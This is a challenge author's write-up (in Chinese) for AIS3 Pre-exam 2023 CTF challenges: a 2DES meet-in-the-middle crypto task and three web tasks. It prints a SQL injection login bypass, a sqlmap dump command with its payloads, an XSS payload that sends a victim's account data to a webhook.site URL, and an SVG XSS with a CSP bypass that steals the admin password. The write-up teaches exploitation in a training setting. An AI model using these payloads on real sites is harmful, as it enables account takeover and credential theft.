AIS3 Pre-exam 2023 Write-up

AIS3 Pre-exam 2023 Write-up

Ching367436 Bamboofox 社長
  2023-06-06 15:44:47 2023-06-06 15:44:47 Created      2.8k Words  12 Mins

我出的題目

Crypto

2DES

題目連結

  • 解題人數
    • MyFirstCTF: 1 / 111 (score >= 100)
    • Pre-exam: 21 / 256 (score >= 100)

這題考的 Meet-in-the-Middle attack，相信直接搜尋 2DES 就可以知道解題方向。為了怕題目太無聊，所以還加入了需要知道 DES 的一些性質的考點（不知道這個還是解的了）。

題目

首先題目會隨機生成 key1 key2，其中每個 byte 的前 4 個 bits 都被固定成 1。

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// Generate key and IV
const key1 = crypto.randomBytes(8)
const key2 = crypto.randomBytes(8)
const iv = Buffer.concat([Buffer.from('AIS3 三')])

for (let i = 0; i < 8; i++) {
    key1[i] = key1[i] | 0b11110000
    key2[i] = key2[i] | 0b11110000
}

接著會把用 key1 key2 加密兩層後的 FLAG 以及 hint_pt 印出來，要透過 res hint_pt hint iv 想辦法解出 FLAG。

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res = encrypt(encrypt(FLAG, key1, iv), key2, iv)
hint = encrypt(encrypt(hint_pt, key1, iv), key2, iv)

console.log(`let res = '${res.toString('hex')}'`)
console.log(`let hint_pt = '${hint_pt.toString('hex')}'`)
console.log(`let hint = '${hint.toString('hex')}'`)
console.log(`let iv = '${iv.toString('hex')}'`)
題解

只要取得 key1 key2 就可直接解出 FLAG，直接列舉 key1 key2 的話會有 種可能，所以是不可行的。

Meet-in-the-Middle

這邊可以利用 meet-in-the-middle attack 幫我們把時間複雜度開個根號，具體如下。

首先要先知道 encrypt(hint_pt, key1, iv) 與 decrypt(hint, key2, iv) 會是相等的 –（1）。

利用這個特性，我們先列舉出所有可能的 middle=encrypt(hint_pt, key1, iv)（透過列舉 key1 來達成），需花費 的時間。

接著來列舉 decrypt(hint, key2, iv)，由於（1），所以當 key2 是正確的時候，一定可以在 middle 裡面找到 decrypt(hint, key2, iv)，所以那個 middle 所對應到的 key1 key2 就很可能是正確的，這步驟最多需列舉 個 key2，每次找尋 middle 若使用的是 Javascript 的 map 或 Python 的 dict 所花的時間在一般情況下會是 ，所以此步驟需花費 的時間。

所以所需花的時間從原本的 變成了 ，變的看起來可行了。

不過還有一個問題：存 種可能的 middle 會耗掉太多空間然後噴錯（有人還把這個做成梗圖）。

DES Key Transformation

DES 在拿到 64 bits 的 key 的時候，會把一些東西丟掉變成 56 bits 的 key，所以實際上需要列舉的 key1 key2 其實可以更少。

DES 的 64 bits 的 key 中，第 8, 16, 24, 32, 40, 48, 56, 64 個 bit 是會被丟掉的，不會影響到加解密，所以需列舉的 key1 key2 其實各只有 種。

提供我的 Javascript 及 Python 解，都可在 200 秒內於我的電腦上跑出結果，Javascript 比較快。

Javascript 解

Python 解

這題也有人不透過 DES Key Transformation 的特性來解：既然存 個 middle 會出錯，那就只存隨機挑的一部分就好了，存到電腦可負荷的量就好，這樣也有高機率解的出來。

Web

Login Panel

題目 source code

  • 解題人數
    • MyFirstCTF: 24 / 111 (score >= 100)
    • Pre-exam: 139 / 256 (score >= 100)

這題是 web 的 welcome 題，是來送大家分數的。進來會看到 CTF 很常出現的 login panel。

這題比賽時有提供 source code 所以大家可以不用通靈題目有什麼洞，直接來看看登入部分的 code 。

看到下方的第 3 行，使用者提供的 username 跟 password 直接被放進 SQL 的語句內，所以有明顯的 SQL injection 漏洞。

需要注意的一點是第 6 行還會檢查使用者提供的 username 要跟 SQL query 出來的 row.username 相等才能成功登入。知道這些就可以來想辦法登入了。

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app.post('/login', recaptcha.middleware.verify, (req, res) => {
    const { username, password } = req.body
    db.get(`SELECT * FROM Users WHERE username = '${username}' AND password = '${password}'`, async (err, row) => {
        if (err) return res.redirect(`https://www.youtube.com/watch?v=dQw4w9WgXcQ`)
        if (!row) return res.redirect(`/login?msg=invalid_credentials`)
        if (row.username !== username) {
            // special case
            return res.redirect(`https://www.youtube.com/watch?v=E6jbBLrxY1U`)
        }
        if (req.recaptcha.error) {
            console.log(req.recaptcha.error)
            return res.redirect(`/login?msg=invalid_captcha`)
        }
        req.session.username = username
        return res.redirect('/2fa')
    })
})

我們只需要將 username 設成 admin，password 設成 ' or ''=' SQL 語句就會變成下面這樣。所有在 Users 裡面的 row 都符合這個條件，加上使用的是 db.get 所以會回傳符合條件的第一個欄位，也就是 admin 的那個 row。

這個 payload 也可以通過第 6 行的檢查，所以就能成功登進去 admin 的帳戶了。有人一直繞不過第 6 行的檢查還被做成梗圖。

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SELECT * FROM Users WHERE username = 'admin' AND password = '' or ''=''

進去後會看到 2FA 頁面，我們先來檢查他的 2FA 功能有沒有洞，因為 source 裡面有說 flag 在 /dashboard 裡面，直接來看 dashboard 的 code 。

看到下方 /dashboard 的部分，他根本沒去驗 2FA 認證有沒有通過，只有看 req.session.username，而 req.session.username 在成功登入的時候就已被設成 admin 了，所以登入到 2FA 頁面後直接訪問 /dashboard 就可以看到 flag 了。

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app.get('/dashboard', (req, res) => {
    if (req.session.username) {
        return res.render('dashboard', {
            username: req.session.username,
            flag: FLAG
        })
    }
    return res.redirect('/')
})

然後這題雖然有裝 reCAPTCHA 但其實沒有裝好，所以可以直接用 sqlmap 把資料庫直接 dump 出來，只是有些地方要按對才挖的出來。

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sqlmap http://url/login --data "username=admin*&password=p" --level 5 --risk 3 --dump

執行上面這個的時候，會被問到下面這類問題，這邊要按 n，因為有些時候會把 sqlmap 導到 Youtube 造成 sqlmap 會有錯誤的判斷。

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got a 302 redirect to 'http://xxx/'. Do you want to follow? [Y/n]

把資料庫 dump 出來後就直接拿去正常登入就好了。

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Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - comment)
    Payload: username=admin%' OR NOT 1853=1853-- aGKT&password=p

    Type: time-based blind
    Title: SQLite > 2.0 OR time-based blind (heavy query)
    Payload: username=admin%' OR 7991=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND 'wNiy%'='wNiy&password=p
...
Database: <current>
Table: Users
[2 entries]
+----+----------------+---------------------------------+----------+
| id | code           | password                        | username |
+----+----------------+---------------------------------+----------+
| 1  | 47428350415632 | e1a5654762d385c8                | admin    |
| 2  | 99999999999999 | guest                           | guest    |
+----+----------------+---------------------------------+----------+

這題最初是想做成只能用 boolean-based blind 挖資料庫，讓大家繞 reCAPTCHA 才能解的，不過我沒去擋 row.password 所以可以用簡單的方法解出。

E-portfolio baby

題目 source code

  • 解題人數
    • MyFirstCTF: 0 / 111 (score >= 100)
    • Pre-exam: 35 / 256 (score >= 100)

題目 註冊 / 登入 後會來到 Edit Portfolio 的頁面，像下面這樣。

按下 Share 後可以看到輸入的 portfolio 的 HTML 被 render 出來了。而這個頁面正是按下 Share your portfolio with admin 後，admin 會拜訪的頁面，要透過這個頁面的 XSS 偷走 admin 的密碼。

source code 裡，也就是下面的第 7 行用了 innerHTML，而 data.data.about 也是我們可完全控制的，所以表示我們能 XSS。

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<script nonce="<%= it.nonce %>">
    fetch(`/api/share${location.search}`)
        .then(res => res.json())
        .then(data => {
            if (data.success) {
                username.innerHTML = data.data.username
                about.innerHTML = data.data.about
                avatar.src = data.data.avatar
            } else {
                alert(data.message)
            }
        })
</script>

有 XSS 後還需要找到能偷 密碼 的地方，剛好 /api/portfolio 可以拿到使用者的密碼，因為他用了 SELECT *，這個送密碼到前端是 Copilot 寫的洞，如果我沒注意到這題就會變成超級水題。

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app.get("/api/portfolio", (req, res) => {
    if (!req.session.username)
        return res.status(401).json({ success: false, message: "Unauthorized" })
    db.get("SELECT * FROM Users WHERE username = ?", req.session.username, (err, row) => {
        if (err)
            return res.status(500).json({ success: false, message: "Internal server error" })
        if (!row)
            return res.status(404).json({ success: false, message: "Not found" })
        return res.json({ success: true, data: row })
    })
})

這裡我們使用下方的 code 設成我們的 portfolio 來觸發 XSS，注意因為這個 XSS 的點是 innerHTML，所以直接插入 <script> 是不會被執行的，這裡有說明為什麼不行 https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML#security_considerations。

下面的 script 做的是就是把使用者的資料送到 webhook.site，儲存後按下 Share your portfolio with admin，admin 拜訪後他的資料就會被送來我們這邊，flag 就在裡面，結果在下面那張圖片裡。也有另一種送資料的方式：把資料設成自己的 portfolio。

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<img src=x onerror="
    fetch('/api/portfolio')
        .then(function (res) { return res.json() })
            .then(function (data) {
                location = `https://webhook.site/e4d998ee-e522-4327-a277-9fa10b77e43a?${JSON.stringify(data)}`
            });
">

另外看到有一些人選擇偷 cookie，但 connect.sid 是設成了 http only，所以 Javascript 在一般情況下是拿不到這個跟登入狀態有關的 cookie 的。

另外在 MyFirstCTF 結束後我有上台分享大家都在 portfolio 裡面放了什麼，那份簡報在這裡。

另外這題 admin 的使用者名稱不叫作 admin，所以會看到有人會把 admin 註冊起來然後放假的 flag，很多人中計。

E-portfolio

題目 source code

  • 解題人數
    • Pre-exam: 2 / 256 (score >= 100)

其實原本沒有 E-Portfolio baby 這題，是 MyFirstCTF 題不夠才把 E-portfolio 簡化成新的一題。

這題跟 E-Portfolio baby 的差別只有多了 CSP 跟 DOMPurify 的防護而已。

前一題的所有 innerHTML 的地方 都被加上了 DOMPurify.sanitize，所以這些地方就很難 XSS 了，不過我們還有可以上傳圖片的地方，可以試試 SVG XSS。

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<script nonce="<%= it.nonce %>">
    fetch(`/api/share${location.search}`)
        .then(res => res.json())
        .then(data => {
            if (data.success) {
                username.innerHTML = DOMPurify.sanitize(data.data.username)
                about.innerHTML = DOMPurify.sanitize(data.data.about)
                avatar.src = data.data.avatar
            } else {
                alert(data.message)
            }
        })
</script>

使用者上傳圖片之後會被 host 到 /avatars/<MD5 hash>.<ext>，所以確實可以 SVG XSS。

要 XSS 之前我們還需要 bypass CSP 。把網站設置的 CSP 拿到 CSP Evaluator 看看有哪些地方可以用來 XSS，發現 'script-src' 有 https://*.google.com 可以利用。

可以使用下面這個 endpoint，把 XSS payload 放到 ?callback 裡就能用了，那個網址的回應如下二所示，可看到我們的 fetch('/api/portfolio'); 被放進回應裡，而且是個可正常執行的 Javascript。

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https://accounts.google.com/o/oauth2/revoke?callback=fetch(%27/api/portfolio%27);
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// API callback
fetch('/api/portfolio');({
  "error": {
    "code": 400,
    "message": "Invalid JSONP callback name: 'fetch('/api/portfolio');'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
    "status": "INVALID_ARGUMENT"
  }
}
);

所以解題步驟如下：

  1. 把下面這個 SVG 設成自己的 avatar，他做的事情就是把使用者密碼存到自己的 portfolio 裡面。
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<svg xmlns="http://www.w3.org/2000/svg">
    <script href="https://accounts.google.com/o/oauth2/revoke?callback=fetch('/api/portfolio')
                .then(function (res) { return res.json() })
                .then(function (data) {
                    if (data.success) {
                        const ADMIN_PASSWORD = data.data.password;
                        fetch('/api/login', {
                            method: 'POST',
                            headers: {
                                'Content-Type': 'application/json'
                            },
                            body: JSON.stringify({
                                username: 'c9dec36a35e1f8723cdcbbbad50123f3',
                                password: 'f7e2ca2336d33b6509656bb3581f0fa0' 
                            })
                        })
                        .then(function (res) { 
                            const formData = new FormData();
                            formData.append('about', ADMIN_PASSWORD);
                            fetch('/api/portfolio', {
                                method: 'PUT',
                                body: formData
                            })
                        })
                    } 
                });"></script>
</svg>

  1. 把剛上傳好的 /avatars/<MD5 hash>.svg 網址記下來，如果直接拜訪 /avatars/<MD5 hash>.svg 可以確認 XSS 確實被觸發。

    所以要把 /avatars/<MD5 hash>.svg 送給 admin，需要蓋過原本 Share your portfolio with admin 的網址 ，其實只需把 onReport 蓋成送我們的 /avatars/<MD5 hash>.svg 的網址，像下面這樣。（之所以是蓋 onReport 的原因是因為 reCAPTCHA 的配置 關係）。

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    function onReport(token) {
        const url = new URL(`/avatars/8209116d30ade81ae5c2793d3d8ed4cf.svg`, location)
        fetch('/api/report', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({ url: url.href, 'g-recaptcha-response': token }),
        })
            .then(res => res.json())
            .then(data => {
                if (data.success)
                    alert('Request sent!')
                else
                    alert(data.message)
                grecaptcha.reset();
            })
    }

  2. 登入我們剛剛用來收資料的帳戶可以看到 portfolio 已經被設成 flag 了。

  • Title: AIS3 Pre-exam 2023 Write-up
  • Author: Ching367436
  • Created at : 2023-06-06 15:44:47
  • Link: https://blog.ching367436.me/ais3-pre-exam-2023-write-up/
  • License: This work is licensed under CC BY-NC-SA 4.0.
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